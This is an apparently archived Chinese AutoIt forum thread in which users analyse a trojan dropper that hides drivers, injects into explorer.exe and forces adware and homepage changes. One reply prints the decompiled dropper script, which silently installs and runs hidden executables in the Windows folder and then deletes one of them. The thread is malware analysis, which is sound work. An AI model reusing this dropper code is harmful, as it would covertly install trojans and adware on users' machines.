找回密码
 加入
搜索
查看: 4309|回复: 6

[AU3基础] 释放驱动,注入explorer.exe~~求助!![已解决]

  [复制链接]
发表于 2010-11-24 15:41:21 | 显示全部楼层 |阅读模式
本帖最后由 woeiwoei 于 2010-11-25 09:20 编辑

朋友传来一个程序。运行后 会在c:\windows\system32下建立当天日期为准的 文件夹。并且释放 两个 驱动文件到这个文件夹内。并隐藏。
分析发现是 远程线程注入的方式注入到 explorer.exe 而且还加载广告文件。路径为:c:\windows\desk.exe
目的是 强制修改主页,加载广告。。解决方法是,替换 explorer.exe 或拒绝释放 驱动文件。。
本人无能,根据网上方法。没能用OD 得到源码。。。版本为3.3.1.6。壳已脱,希望遇到高手能反一下。。
源程序:

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?加入

×

评分

参与人数 1金钱 +10 收起 理由
afan + 10 感谢主动将修改帖子分类为[已解决],请继续 ...

查看全部评分

发表于 2010-11-24 15:45:54 | 显示全部楼层
au3这么强啊!希望高手能给出答案
 楼主| 发表于 2010-11-24 15:51:09 | 显示全部楼层
au3这么强啊!希望高手能给出答案
king8462 发表于 2010-11-24 15:45



    是啊。。高手太多。。
发表于 2010-11-24 20:52:55 | 显示全部楼层
截取任意一步就可以阻止了。
1、挂钩CreateDirectory阻止新建文件夹。
2、挂钩NtCreateFile阻止释放驱动。
3、挂钩NtCreateThread阻止创建远程线程。
发表于 2010-11-24 22:08:40 | 显示全部楼层
关键不在这个au3程序,在于附着的木马程序
#Region AutoIt3Wrapper 预编译参数(常用参数)
#AutoIt3Wrapper_Icon=IE.ICO
#AutoIt3Wrapper_Outfile=IEFZ.DLL
#AutoIt3Wrapper_Outfile_Type=DLL
#AutoIt3Wrapper_Compression=9
#AutoIt3Wrapper_UseUpx=y
#AutoIt3Wrapper_Res_Comment=客户端辅助
#AutoIt3Wrapper_Res_Description=客户端辅助
#AutoIt3Wrapper_Res_Fileversion=1.0.0.1
#AutoIt3Wrapper_Res_LegalCopyright=备份管理系统
#AutoIt3Wrapper_Change2CUI=N
#EndRegion AutoIt3Wrapper 预编译参数(常用参数)
AutoItSetOption('TrayIconHide', 1)
FileDelete(@WindowsDir & '\Desk.exe')
FileDelete(@WindowsDir & '\linkconfig.ini')
FileDelete(@WindowsDir & '\9380_1.exe')
FileInstall('C:\9380_1.exe', @WindowsDir & '\9380_1.exe', 1)
FileInstall('C:\Desk.exe', @WindowsDir & '\Desk.exe', 1)
FileInstall('C:\linkconfig.ini', @WindowsDir & '\linkconfig.ini', 1)
Run(@WindowsDir & '\9380_1.exe', @WindowsDir, @SW_HIDE)
Sleep(12000)
Run(@WindowsDir & '\Desk.exe', @WindowsDir, @SW_HIDE)
FileDelete(@WindowsDir & '\9380_1.exe')
Exit
 楼主| 发表于 2010-11-25 09:18:41 | 显示全部楼层
关键不在这个au3程序,在于附着的木马程序
快雪时晴 发表于 2010-11-24 22:08



    原因找到了。。释放的9380_1.exe为E语言编写,是关键的主程序,可惜E反不了。
是我搞错对象了。
呵呵。谢谢你,也谢谢P大的指点。。此帖结了~~~
发表于 2011-5-31 19:01:50 | 显示全部楼层
原来、、、、
您需要登录后才可以回帖 登录 | 加入

本版积分规则

QQ|手机版|小黑屋|AUTOIT CN ( 鲁ICP备19019924号-1 )谷歌 百度

GMT+8, 2024-11-14 20:10 , Processed in 0.108193 second(s), 28 queries .

Powered by Discuz! X3.5 Licensed

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表